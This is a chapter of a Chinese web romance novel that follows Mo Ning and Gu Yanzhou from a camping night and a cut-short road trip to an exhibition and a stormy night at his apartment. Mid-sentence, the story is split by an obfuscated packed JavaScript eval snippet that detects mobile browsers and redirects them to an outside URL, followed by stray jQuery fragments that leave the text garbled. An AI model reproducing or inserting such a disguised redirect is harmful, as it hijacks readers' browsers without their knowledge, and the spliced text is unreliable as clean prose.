55. 莫柠VS顾砚洲3

作品:《爱情悄悄爬上办公桌

    明明是别人家的帐篷热情似火,脸红的却是莫柠,夜深人静,这种激烈声响未免太大了些。


    莫柠觉得自己要疯了。


    余音绕梁的暧昧刺激声一阵又一阵地传来,她都要分不清楚前后左右那个方向的帐篷。


    顾砚洲倒是一本正经,安静得好像没有听见这些。


    这是莫柠第一次和他近距离接触,结果在这样放浪形骸的夜里。她窝在睡袋里,蜷着身子,一动不动,耳朵却泛着红。


    默了默,她忍不住低声道:“你睡着了吗?”


    “没有。”他声音低哑,像是压着什么。


    “那你就……不觉得吵吗?”


    顾砚洲沉默了一瞬:“挺有素质的,还知道关灯。”


    也是,要是没有关灯,就帐篷上估计还会投影出人影吧。


    莫柠忍不住轻笑出声,随即又觉得不妥,迅速捂住嘴。


    顾砚洲侧躺着,和她中间隔着一条睡袋的宽度,两人面对面开始谈话。


    也许是因为黑夜的关系,隔壁的刺激很大胆,莫柠的话题也变得大胆起来。


    莫柠望着他,“他们好久啊,都会这么久吗?不累吗?”


    顾砚洲喉结轻轻滚了下,“你问我?”


    莫柠点头,又轻轻“嗯”了一声。


    顾砚洲没吭声。


    沉默了几秒,他才慢悠悠地开口:“要看人。”


    “看什么?”莫柠挪动身体凑近了一点,声音压得更低,“看体力?还是经验?”


    顾砚洲盯着她,神色不动,眼底却暗了几分:“你这么感兴趣?”


    莫柠偏头笑了下,“以前不是不敢问嘛,现在想知道了。”


    她声音里有点刻意的轻佻,又有点儿不自觉的紧张,像只探头探脑的小动物,明明胆子不大,还总要撩拨一把火看会不会烧起来。


    顾砚洲没接茬,只是忽然抬手,将她垂落在额前的一缕发丝别到耳后,指尖不轻不重地擦过她的脸颊。


    他说:“你最好别问我这些问题。”


    “……为什么?”


    “我怕自己回答了,会想做点别的事。”


    帐篷里静了一瞬。


    莫柠的睫毛轻轻颤了下,一时间竟不知道该接什么。


    她盯着他看了两秒,忽然撇开脸,往睡袋里一钻,把自己半个脸藏了进去,耳根却红得像煮熟了一样。


    顾砚洲看着她小幅度地缩起肩膀,不禁低低笑了一声。


    他也学她,身子往前挪动了一步,两人隔着睡袋紧挨着。


    “莫柠。”


    “干嘛?”


    “下次再敢问,就得负责。”


    莫柠没吭声,但脸埋得更深了。


    外面风还在吹,风声渐渐取代了帐篷外的混响,一夜燥热,也终于熬成了沉默的尾声。


    接下来的几天,两人开着一辆车前行,他们在小镇上停留,买咖啡、拍照、加油,也会在荒芜的路段突然下车看一眼黄昏。


    途中也有遇到不少中国人,大家下意识把他们当成一对情侣,对此顾砚洲没做任何的解释。


    晚上住在山脚的民宿,两人分开一人一间,却隔得近。洗完澡,她站在窗边吹头发,看见顾砚洲在院子里打电话,脸藏在夜色里,声音听不清。


    等他接完电话,转过身精准地对视上了莫柠的眼神。


    莫柠关掉电吹风,潜意识告诉他,他应该是遇到了棘手的事情,怕是要提早结束行程了。


    过了一会儿,顾砚洲敲了她的门。


    莫柠没有犹豫太久,还是去开了。


    他站在门口,头发有点乱,像是刚揉过一把烦躁。


    他没有绕圈子,开口便是:“临时被叫回实验室,有组数据出问题,教授那边很着急。”


    莫柠点点头。


    “我订票,和我一起回去?”


    “好。”她没有多问一句,甚至没说“可惜”两个字。


    气氛有些僵,他站了几秒,似乎想解释点什么。


    莫柠已经继续道:“那收拾东西吧,我们还回去市区。”


    顾砚洲望了她一眼,喉结动了动,上前抱了抱她,“好。”


    这场旅行从一开始就不对劲。他不是一个会临时爽约、两次变卦的人,除非……事情重要得不允许他继续留在这里。


    或者……她的存在,从来没有在他的“重要事项”列表里占过什么份额。


    收拾完东西,两人退了房,重新启程。


    回去后,顾砚洲又跟消失了一般,见不到人影。


    学校课程照常推进,画室的展览安排排得很满,她看起来很忙,朋友圈隔三差五还会发两张图,阳光很好,咖啡很好,生活好像也很好。


    等展览结束,莫柠的课程也结束了,可以回国了,厉京承问她之后的计划,是不是要留在这里?


    莫柠说要回国考研,这里没意思。


    厉京承多看她几眼,想说点什么,又觉得不是自己该说的。


    直到那天他跟顾砚洲通话,随口提了一句,“你别又忘了莫柠这周展览的事,人家一个人布展挺辛苦的,而且,莫柠忙完就打算回国了。”


    电话那头静了两秒:“她没跟我说。”


    “她为什么要说?你不是又在忙吗?”厉京承语气不轻,“你这人,最擅长的就是慢半拍。”


    展览结束那天。


    布展现场人来人往,莫柠低头调整最后一幅作品的位置,一抬头,看见门口那人站了很久。


    顾砚洲穿着平日里最常见的衬衫长裤,背着光,一时看不清神情。


    “你怎么来了?”她语气很淡,也没有惊喜。


    “我来看你的画。”他说。


    “那你来晚了,我最想让你看的那一幅,已经被人买走了。”


    顾砚洲怔了一下:“哪个?”


    “一个叫《迟到》的系列。”


    她抬起头望向他,神情不悲不喜,“挺适合你的。”


    他看着她,顿了顿,又问,“你什么时候回国?”


    莫柠拎着画筒,往前走了几步,“下周的飞机,学分修完了,申请已经批下来。”


    顾砚洲点头,嗓音有些发紧:“怎么没跟我说?”


    “你太忙啦,没事的,我又不是小孩子,这么不懂事。”


    “嗯。”顾砚洲低声应了一句。


    莫柠转过身去,掸了掸裙摆,“我同学邀我去个舞会,我就不和你去吃饭啦。”


    她踩着高跟鞋离开,背影在夕阳下被拉得长长的,顾砚洲站在原地。


    舞会结束时,天已完全黑了。门外不知什么时候下起了大雨,瓢泼般砸在地面,夜色被雨声填满。


    莫柠站在宴会厅门口,撑着伞的同学三三两两离去,她没有带伞,也没有提前叫车。


    她正准备低头拿手机,突然听见一声熟悉的呼唤。


    “莫柠。”


    她抬头,,有些模糊地看见顾砚洲站在不远处。


    他穿着一件深色风衣,湿了一半,手里拿着一把伞,显然是站在这儿很久了。


    “你怎么来了?”


    “来接你。”他说。


    雨越下越大,像是有人在天上不断倾倒水盆,雷声滚滚,闪电撕裂夜空。


    顾砚洲伸手拉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578450|170161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住莫柠,把她带进车里,关门的瞬间外头雨点砸在车顶,声音震耳欲聋。


    “冷吗?”他一边启动车子,一边问她。


    莫柠摇头,不是冷,就是这闪电打雷的,一直在头顶炸开,实在是太恐怖了。


    顾砚洲转头问:“怕?”


    莫柠默默把靠背往他那边靠了靠,犹豫道:“这附近是不是有酒店啊,要不然去酒店住一晚吧?”


    顾砚洲眼神微动,不用去酒店,他的公寓就在这附近。


    顾砚洲拐了个弯,“我家公寓在前面,不想回去的话,就去那儿。”


    莫柠偏头看了他一眼,没说话,也没有拒绝。


    车窗上的雨刷来回扫着,车内却异常安静。


    五分钟后,车停在一幢高级公寓楼下。顾砚洲撑伞下车,绕到另一边替她开了车门。


    莫柠跳下车,雨打在伞边,她贴着他的肩走进楼道,鼻尖都是他身上干净的味道。


    电梯上行的那一刻,雷声又炸了一声。


    莫柠抖了一下,猛地抱住他的胳膊。


    顾砚洲侧眸看了她一眼,没说话。


    公寓门一打开,莫柠便被眼前的格局吸引住了。


    室内整洁而冷淡,黑白灰为主色调,沙发、书架、台灯都摆得极有秩序。


    认识这么多年,这还是她第一次来他家呢。


    “浴室在右边,你先去洗,我给你拿衣服。”


    莫柠点头走进去,十分钟后她出来,穿着顾砚洲的T恤和运动短裤,头发还滴着水。


    顾砚洲端了一杯热牛奶出来递给她,“雷雨天睡眠浅,喝点热的。”


    她接过来,下意识漫步到窗边。


    一道闪电过后又是一阵雷声,她吓得一惊,手一抖,牛奶全部顺着衣领淌了下去,洇湿了顾砚洲的T恤,也湿透了莫柠的脸颊。


    白色布料被牛奶浸透,贴在她身上,勾勒出些微线条,暧昧又狼狈。


    顾砚洲跨步过来,“没事吧”


    他转身拿了条干毛巾回来,俯身帮她擦拭湿漉的头发和脖颈。


    这个时候,外面雷声不断,毛巾擦着擦着变了味。


    莫柠想自己都要回国了,于是胆子又大了一些,主动撩起了衣摆,露出一截细腰。


    “这里也湿了。”莫柠低声说。


    语调软软的,像是在抱怨,又像是在邀约。


    顾砚洲的动作顿住,眼神里一瞬间掠过什么。他的手还停在她发尾,毛巾却没有再继续动了。


    莫柠拉住他手腕,抬头看着他,眼神澄澈。


    她咬了下唇角,又放开,嗓音轻飘飘地开口:“砚洲哥哥,我要回国了,你会回来看我吗?”


    顾砚洲看着她,眸色深了几分。


    他喉结动了动,低声道:“会。”


    “你上次也这么说的。”


    顾砚洲皱眉,像是想辩解,又觉得无从说起。


    许多话在喉间转了一圈,最终只是落成一句:“我不是故意的。”


    莫柠不听他解释,仰头贴近他。


    “不是故意?”她声音很低,“那就别再让我等。”


    话音落下,她踮起脚,主动吻了过去。


    唇瓣相触的瞬间,带着牛奶残余的暖甜,顾砚洲整个人像被电流击中,先是僵了半秒,随后反手扣住她的后脑,回应得比她更用力。


    T恤被蹭得更湿,贴在她身上,柔软线条若隐若现。


    窗外雷声滚过,屋里灯影晃动,湿冷的空气被迅速灼热。


    指尖穿过她半干的发丝,他低头更深地掠夺她呼吸;她抓住他衣襟,小小几步便被他带到床沿。